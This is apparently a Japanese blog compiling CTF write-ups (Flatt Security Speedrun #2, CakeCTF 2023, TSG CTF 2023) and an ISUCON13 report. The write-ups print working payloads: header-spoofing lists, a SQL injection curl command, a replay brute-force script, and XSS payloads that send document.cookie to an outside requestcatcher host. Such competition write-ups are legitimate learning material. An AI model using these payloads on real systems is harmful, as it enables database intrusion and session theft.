はまやんはまやんはまやん

hamayanhamayan's blog

Flatt Security Speedrun CTF #2 Writeups

【イベント】タイムアタック形式のCTF「Flatt Security Speedrun CTF #2」を開催します | Flatt Security こちらに参加してきました。とても面白かったです!

開始前

ハッシュタグの素振りをしたり、 念のためFlatt Security Speedrun CTF writeup - st98 の日記帳 - コピーを見返したりしていた。

問題

5問中3完、6位でfinishでした。

1: x

ソースコードを読んでいる間に抜かされそうだったのでサイトを眺めることから始める。

You are not coming from 127.0.0.1!

と言われるので、定石のヘッダーを使った偽装を試みる。
手元に全部入りヘッダー一覧があったのでそれを張り付けて送ってみる。

X-Forwarded-Host: 127.0.0.1
X-Forwarded-Port: 127.0.0.1
X-Forwarded-By: 127.0.0.1
X-Forwarded-Scheme: 127.0.0.1
X-Frame-Options: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Host: 127.0.0.1
X-Cluster-Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Client-IP: 127.0.0.1
Origin: null
Origin: 127.0.0.1
X-Requested-With: 127.0.0.1

x header is banned!

Xのものは使えないっぽいので、X-から始まるものを削除して送るとフラグが得られた。
guessで解いたおかげかFirst Blood達成。
前回参加時も1問目First Bloodだったな。前回同様ここが最高潮だった。

2: busybox1

/bin/[入力]という形でコマンド実行できるサイトが与えられ、/flagを読むのがゴール。
だが、"cat"と"sh"は使えず、パストラバーサルも禁止されている。
適当にポチポチ試すとrev /flagでさかさまのフラグが得られた。
逆にして答える。 3rd blood.

3: busybox2

busybox2とほとんど同じで、/getflagを実行する問題。
xxdでバイナリを持ってきて実行したり、中にフラグが入ってないか探したが、ダメだった。
今冷静にソースコードを見ると、/getflag経由で/flagを見る問題だったのでそれはそう。

色々手元にあるメモから試していき、紆余曲折あり、最終的に以下でフラグが得られた。
find / -type f -exec /getflag {} +

4: semgrep 解けず…

解けなかった。
javascriptのコードを与えて、/flagを得る問題。
semgrepというSASTツールを使った検証フェーズがあり、厳しくコードがチェックされている。

解析時にsemgrepの独自機能で文字列が埋め込める?semgrepのドキュメントを読み込むべき?とか、
もしかして、この状態で真面目にjailする?とか考えていた。
が、冷静になって考えるとspeedrunでそんな複雑なことを要求しないなと思いなおし、
与えられているカスタムコード部分で何かないか探す。
怪しい部分としてはsemgrepには入力値のcodeがそのまま渡されているが、
使用するときは"use strict"; return (async () => { return ${code} })();と埋め込まれている点である。
このように検証時の形と使用時の形が異なることを利用するのはweb問の典型ではあるが、
ここに辿りつくのにかなり時間を要してしまって、ここで時間切れ。
1; }).call(1); //みたいな怪payloadを書き残してfinishしました…

この前提から色々実験するのが、この問題のより本質的な部分。
作問者の解説を聞くと、適当に後ろにくっつけるとsemgrepのパースが失敗して何でも入れられるらしい。
解説を受けた記憶を元にpayloadを構築しようとしたが刺さらない…
発想が合ってても解けなかったか…

ISUCON13 28位 参加記

こんいす~!
先輩に誘っていただき、Create Speedy LogicというチームでISUCON13に出てきました。
初めて出ましたが、このレベルの作問を毎年やっているのはすごいと思いますし、こんなにエンタメ性のある競技だと思いませんでした。
結果は694組中28位だったので本選出場相当と捉えるとよかったのですが、個人的にやらかしましたし、やや悔いがある所もあるので、この思いを胸に精進します。
いや、でも、賞ももらえたので結構嬉しいです。
ISUCON13 受賞チームおよび全チームスコア : ISUCON公式Blog

2023-11-26更新 最終順位が変動したので修正

今年のお題について

動画がすごすぎて中身が頭に入ってこなかったが、動画配信サービスを高速化する問題。
しかも、得点は投げ銭の合計点!笑
何をやってもいいから顧客にお金を落とさせることができれば正義という金網デスマッチが今ここに始まりました…

今回面白いのは、DNSサーバもチューニング対象に入っており、そこにDNS水責め攻撃が来るというシナリオが待っています。
過去問はいくつかやってから本番に臨みましたが、このようなDoS攻撃を回避するチューニングというのは初めてだったのでびっくりしました。

チームの中で自分がやったこと

自分がやったことだけを書いておきます。

  • [10:00] インフラ作成やベースライン構築などの初期作業はチームメンバーにお願いして、マニュアルを読んだり、ソースコードを端から端まで読んで改善策案を出していました
  • [12:19] TagsテーブルをApp側に固定値で配置し、ついでに、使用していた所のN+1を解消
  • [15:08] FillLivestreamResponseがN+1状態で呼ばれていたので解消
  • [16:33] getUserStatisticsHandlerのN+1解消

他にもいくつかN+1の解消をしたり、他のメンバーが作ってくれたキャッシュを入れ込んでみようとしましたが、性能に直結しなかったので入れずに終わりました。
時間込みで書き出してみると手が遅すぎる…精進…
28位まで行けたのは、最初のインデックス張り方がかなり良かったこと、キャッシュ戦略と手際が完璧だったことが要因だと思います。(自分は全くやってない)
自分がやってたようなN+1改善は誰もがはっきり分かる所だけれど、上の2つは経験値の違いを感じましたね。
app改善についてはチーム協力してまんべんなくできていたように思いますし、最終的にサーバ1台構成でfinishしました。

チームの中で自分がやらかしたこと

ええ、分かっています。参加記で聞きたいのは成功体験ではなく失敗体験であるということを。

  • ソースコードを端から端まで読む必要性はなかったかもしれない。1時間弱で読み終えることはできたし諸問題もそれなりに発掘できたような気もするが、普通に遅い所の処理から手を付けるのでその時に辿っていけば分かるし、最初のソースコードの深読みが甘かったり、DBと突合して考える所も多く、時間的にも負荷起因でやればよかったと思う
  • ここが大反省ポイントだが、17:00頃にDNSの別サーバー化を企てた際に各サーバでキャッシュが残っていたのか原因ははっきりしてないが、名前解決エラーが出てしまい3台中2台が動かないという事態になってしまった。自分の知識不足というか見切り発車が原因なのだが、これがサーバ分割が間に合わない一因となってしまい大変申し訳ない…(しかも、単にappとdnsを分割してもレコード更新を頑張る必要があり、結局間に合わなかった)
  • golangコンパイラに怒られすぎ問題。累計すると1時間くらいはgolangコンパイラの修正指示に従っていた気がする。言語系の素振りもやりましょう

終わりに

とりあえずギリギリ本選圏内の28位までこれてよかったです。
ISUCON13という長い歴史があり、過去の回の体験記が大量にあるおかげで色々勉強させていただきました。 コミュニティや誘っていただいたチームメンバーに感謝するとともに、来年も頑張りますという気持ちです。

CakeCTF 2023 Writeups

チームhamayanhamayanでソロ参加してました。

[web] Country DB

フラグを探すと、init_db.pyに書いてあるように、DBの中に入っている。

conn.execute("""CREATE TABLE flag (
  flag TEXT NOT NULL
);""")
conn.execute(f"INSERT INTO flag VALUES (?)", (FLAG,))

app.pyにSQL Injectionできそうなポイントがあるので、ここを攻撃することを目指す。

def db_search(code):
    with sqlite3.connect('database.db') as conn:
        cur = conn.cursor()
        cur.execute(f"SELECT name FROM country WHERE code=UPPER('{code}')")
        found = cur.fetchone()
    return None if found is None else found[0]

差し込まれているcodeはPOST /api/searchから来ていて、以下のようにバリデーションが走っている。

@app.route('/api/search', methods=['POST'])
def api_search():
    req = flask.request.get_json()
    if 'code' not in req:
        flask.abort(400, "Empty country code")

    code = req['code']
    if len(code) != 2 or "'" in code:
        flask.abort(400, "Invalid country code")

    name = db_search(code)
    if name is None:
        flask.abort(404, "No such country")

    return {'name': name}

jsonで受け取ってcodeを取得している。
型については確認されていないのでstringではなく、arrayでも渡すことができる。
arrayで渡すことでif len(code) != 2 or "'" in code:をうまくかわすことができる。
つまり、{"code":["a","b"]}のようにすれば、判定を回避することができ、想定以上の情報を送り込むことができそうである。

>>> import json
>>> req = json.loads('{"code":["a","b"]}')
>>> code = req['code']
>>> code
['a', 'b']
>>> len(code) != 2 or "'" in code
False

これが文字列に埋め込まれるとどういった挙動になるだろうか。

>>> f"SELECT name FROM country WHERE code=UPPER('{code}')"
"SELECT name FROM country WHERE code=UPPER('['a', 'b']')"

このように良い感じに'が追加され、配列としてそのまま埋め込まれる。
これを良い感じに調整して、SQL Injectionしていこう。
{"code":[") union select flag from flag -- ac","a"]}これを送るとフラグが手に入る
SELECT name FROM country WHERE code=UPPER('[') union select flag from flag -- ac', 'a']')という感じになって
--以下はコメントアウトされて、SELECT name FROM country WHERE code=UPPER('[') union select flag from flag
unionでいい感じに連結されてフラグが手に入る。
curlでやるなら curl -X POST -H "Content-Type: application/json" -d '{"code":[") union select flag from flag -- ac","a"]}' http://countrydb.2023.cakectf.com:8020/api/search

[web] AdBlog

XSSしてcookieを抜き取るのがゴールの問題。
adminに報告できるのは/blog/<blog_id>のエンドポイントだけなので、ここでXSSできそうな所を探す。
service/templates/blog.htmlを巡回しても、テンプレートで|safe付きのそのまま出力されている所は見当たらない。
最初はlet content = DOMPurify.sanitize(atob("{{ content }}"));が怪しいと思って、"が何とかcontentで作れるのでは…という方面で時間を溶かしてしまったが、そういうことではなかった。

しかし、正答への道はそのjavascriptコードにある。

<script>
    let content = DOMPurify.sanitize(atob("{{ content }}"));
    document.getElementById("content").innerHTML = content;

    window.onload = async () => {
        if (await detectAdBlock()) {
            showOverlay = () => {
                document.getElementById("ad-overlay").style.width = "100%";
            };
        }

        if (typeof showOverlay === 'undefined') {
            document.getElementById("ad").style.display = "block";
        } else {
            setTimeout(showOverlay, 1000);
        }
    }
</script>

このコードを冷静に上から見返すと解けなかったトラウマの如く、SECCON CTF 2023 Qualsのblinkがフラッシュバックしてきた。
そうです。
setIntervalで文字列を入れ込むと任意コード実行できるというアレです。
同じくsetTimeoutも文字列で実行できます。
つまり、setTimeout(showOverlay, 1000);で実行させるためにjavascriptコードをshowOverlayに入れ込むことが要求される。

この問題はblinkと方針は同じで、その上の以下コードでHTMLが埋め込めるのでDOM ClobberingでshowOverlayを用意して埋め込む。
アドブロックを使っているとそっちで上書きされてしまうので注意。笑
アドブロックの検知コードを初めて見たが、なるほど。

let content = DOMPurify.sanitize(atob("{{ content }}"));
document.getElementById("content").innerHTML = content;

blinkと流れは同じでContentに<a id=showOverlay href="cid:alert(1)"></a>とすればアラートがホップする。
以下をContentとして送ってcookieを抜き取った。

<a id=showOverlay href="cid:navigator.sendBeacon('https://[yours].requestcatcher.com/test',document.cookie);"></a>

[web] [cheat] TOWFL

100問、4択の選択式問題が与えられる。
全問正解するとフラグがもらえる。

service/app.pyを読んでいくと以下のようにリプレイ攻撃対策がなされている。

# Prevent reply attack
flask.session.clear()

つまり、同じ問題セットに対して複数回の回答が認められていない。
…が、適当に再利用してみると使えた。
リプレイ攻撃で回答を全探索していこう。

import requests
import json
import time

BASE = 'http://towfl.2023.cakectf.com:8888'
SESSION = '.eJwFwYENgDAIBMBdmKAt5Atu0wdMnMG4u3ev9FNySSXoVMxcGyetCFcnswdAaoT68n3OvIvWmKrtUTWS5mEl3w8aARUL.ZU8frw.fWQIbsHukmvytROrTC5z4Cx4UqM'

def get(ans):
    requests.post(BASE + '/api/submit', json=ans, cookies={'session': SESSION})
    t = requests.get(BASE + '/api/score', cookies={'session': SESSION}).text
    score = json.loads(t)['data']['score']
    if "CTF{" in t:
        print(t)
    return score

ans = [[None for i in range(10)] for j in range(10)]
current_point = get(ans)

for i in range(10):
    for j in range(10):
        for c in range(4):
            ans[i][j] = c
            nxt_point = get(ans)
            time.sleep(1)
            if current_point < nxt_point:
                current_point = nxt_point
                print(f"ok! {current_point}")
                break 

前問で時間を溶かしてスピードランの面白味もない順位になってしまっていたので、
1秒waitでじっくり待つとフラグがもらえる。

session消せそうだけどなーと思いながら、自分の記事を見返すとなんだかんだ使えるっぽい。
確かにCookieをデコードしてみるとeidが保存されていた。
https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)Zlib_Inflate(0,0,'Adaptive',false,false)&input=ZUp3RndZRU5nREFJQk1CZG1LQXQ1QXR1MHdkTW5NRzR1M2V2OUZOeVNTWG9WTXhjR3lldENGY25zd2RBYW9UNjhuM092SXZXbUtydFVUV1M1bUVsM3c4YUFSVUw

[web] OpenBio 2

XSSしてCookieを抜き出す問題。
pythonbleachというライブラリで入力がサニタイズされている。
現在は開発が止まっているようだが、セキュリティパッチ対応はするとのことでかなり偉い。
(この投稿にthumb downが付いているのを見ると現実の悲しさを感じる)
issueを見ても気になるものはない。
言及のある使われているhtml5lib-pythonも使えそうなissueはなかった。

改めてXSSできそうな部分を見てみよう。
シンク(XSSコードの出力場所)から順番に遡って見ていこう。
service/templates/bio.htmlを見ると<div id="bio">{{ bio1 | safe }}{{ bio2 | safe }}</div>という箇所があり、|safeの2箇所で差し込みが行える。
bio1,bio2は以下のようにbleachによってサニタイズされて出力される。

bio1 = bleach.linkify(bleach.clean(bio['bio1'], strip=True))[:10000]
bio2 = bleach.linkify(bleach.clean(bio['bio2'], strip=True))[:10000]

そして入力時には以下のようなバリデーションが存在している。

elif len(bio1) > 1001 or len(bio2) > 1001:
    err = "Bio is too long"

bleachのlinkify, cleanで色々実験してみるが、良い感じにbypassできそうな出力は得られなかった。
ここから違和感を深堀する作業となるが、色々頑張って、以下の疑問の組み合わせでXSSにかなり近づく。

まず、linkifyというなじみのない機能を深堀すると、
test.example.comというのを入力すると<a href="http://test.example.com" rel="nofollow">test.example.com</a>のようにタグ化してくれる機能となる。
<をいかに入力するかがXSSに向けたテーマなので、とても使えそうな機能である。
この変換の後、[:10000]で文字が丸めこまれるので、<a href="http://test.example.com" rel="nofollow">test.example.com</a>をうまく丸めこんで
<a href="http://test.example.com" rel="nofollow">test.example.com<のようにできれば、そのあとに入力した文字列をタグの中身として扱うことができるようになる。
埋め込みの構図が<div id="bio">{{ bio1 | safe }}{{ bio2 | safe }}</div>であることを考慮すると、<だけを作るのをbio1で達成できれば、bio2でタグの中身を自由に記述することができる。

<を作る

まずは最終的な変換文字列が10000文字以上になるように、
1001文字以下に限定されている入力を増幅させる方法を探す。
10倍は増幅する必要がある。
まず、リンクに変換する機能を使うことで大分増える。

s.jp -> 4
<a href="http://s.jp" rel="nofollow">s.jp</a> -> 45

10倍以上になっているのでかなりよさそうではあるが、

s.jps.jp -> 8
<a href="http://s.jps.jp" rel="nofollow">s.jps.jp</a> -> 53

以下のように単純にくっつけるだけではダメ。

;s.jp;s.jp -> 10
;<a href="http://s.jp" rel="nofollow">s.jp</a>;<a href="http://s.jp" rel="nofollow">s.jp</a> -> 92

このように記号を間に挟むと別のものになっていい感じに増えてくれるが、これでは10倍に届かない。
さて、どうするか…と考えると、実はlinkifyの前に差し込まれているcleanが役に立つ。
cleanの段階で&を入れると&amp;に変換される。
これを使うと、もう少しスコアを伸ばせる。

&s.jp&s.jp -> 10
&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a> -> 100

10倍にまで引き上げることができた!
これでパーツは手に入ったので、<>もHTML Entityに変換されることも活用して、bio1に'>'+'<s.jp'*1+'&s.jp'*199を入力してみよう。
これは長さが1001文字なのでセーフ。
するとbleach.linkify(bleach.clean(bio['bio1'], strip=True))[:10000]の最終的な出力はこうなる。

&gt;&lt;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp</a>&amp;<a href="http://s.jp" rel="nofollow">s.jp<

注目すべきは最後の部分で<で終えることができている。
この状態でbio2にimg src=x onerror=alert(1)を入れてみるとアラートがpopupする。
ok.

という訳で以下を送ればフラグがもらえる。
bio2でlinkifyが邪魔をしないようにドメインを文字列分割している。

bio1 -> '>'+'<s.jp'*1+'&s.jp'*199
bio2 -> 'img src=x onerror="navigator.sendBeacon(\'https://[yours].requestcatcher\'+\'.com/test\',document.cookie);"'

TSG CTF 2023 Writeups

[web] Upside-down cake

main.mjsを読むと

app.post('/', async (c) => {
    const {palindrome} = await c.req.json();
    const error = validatePalindrome(palindrome);
    if (error) {
        c.status(400);
        return c.text(error);
    }
    return c.text(`I love you! Flag is ${flag}`);
});

{"palindrome":"[ほにゃらら]"}とすれば、変数palindromeに値を埋め込むことができ、validatePalindromeの判定が通ればフラグが得られる。

const validatePalindrome = (string) => {
    if (string.length < 1000) {
        return 'too short';
    }

    for (const i of Array(string.length).keys()) {
        const original = string[i];
        const reverse = string[string.length - i - 1];

        if (original !== reverse || typeof original !== 'string') {
            return 'not palindrome';
        }
    }

    return null;
}

このような実装になっているので、1000文字以上の回文を送ればいい。
問題を難しくしているのは、nginx.confの以下の部分である。

client_max_body_size 100;

公式ドキュメントにもあるように100文字を超えて送ると413エラーが帰ってくる。
よってnginxのフィルターをかいくぐりながらなんとか、1000文字以上を送る必要がある。

これらのヒントを元に、「非常に長い回文」をサーバーに送るのではなく、何かしらのバグを突くことによってフラグを手に入れる方法を考えましょう。
Web技術、特にJavaScriptについての知識が必要になるかもしれないので、必要に応じてMDNなどのドキュメントを参照してください。

このヒントから特殊な仕様ではなく、バグを見つけることが求められているようなので色々試してみると、求められているのはパズル力であることが分かりました。

パズル

今回のバグ、脆弱であった部分はpalindromeの型検証が十分でないことです。
よって、palindromeは想定されている文字列以外にも辞書型も入れることができます。
これで何をするかというと、まず、validatePalindromeのlengthの検証を以下のようにすり抜けることができます。

{
    "palindrome": {
        "length": 10000
    }
}

if (string.length < 1000) {を回避するためにlengthを入れ込む訳ですね。
ですが、これではnot palindromeと応答が帰ってきます。
それ以下の検証部分でpalindrome["0"]palindrome[999]を用意する必要があり、これは文字数制限を突破できません。
しかし一歩前進です。

ここからどうするかを考えたときに明らかにfor (const i of Array(string.length).keys()) {の書き方が怪しく見えてきます。
lengthが数字で無い場合にどういう挙動をするかを確認すると非常に面白い感じになっていることに気が付きます。

> "a" < 1000
false
> for (const i of Array("a").keys()) { console.log(i); }
0

"a"を入れるとループの数は少なく、かつ、最初の長さ判定をfalseで乗り切ることができています。
この時、string.length - i - 1がどういう値になるかを検証すると

> "a"-0-1
NaN

NaNということなので、string[0] == string[NaN]の判定が結局なされます。
よって、ループで使われる、0とNaNを適当に用意する形で以下のようなリクエストを投げればフラグがもらえる。

{
    "palindrome": {
        "length": "a",
        "0":"",
        "NaN":""
    }
}

[web] #DANCE

とてもシンプルなサイト。
フラグを得るにはmypage.phpでadminでログインする必要がある。

<?php
if (isset($_COOKIE["auth"])) {
    $encrypted_auth = $_COOKIE["auth"];
    $iv = base64_decode($_COOKIE["iv"]);
    $tag = base64_decode($_COOKIE["tag"]);
    $cipher = "aes-128-gcm";
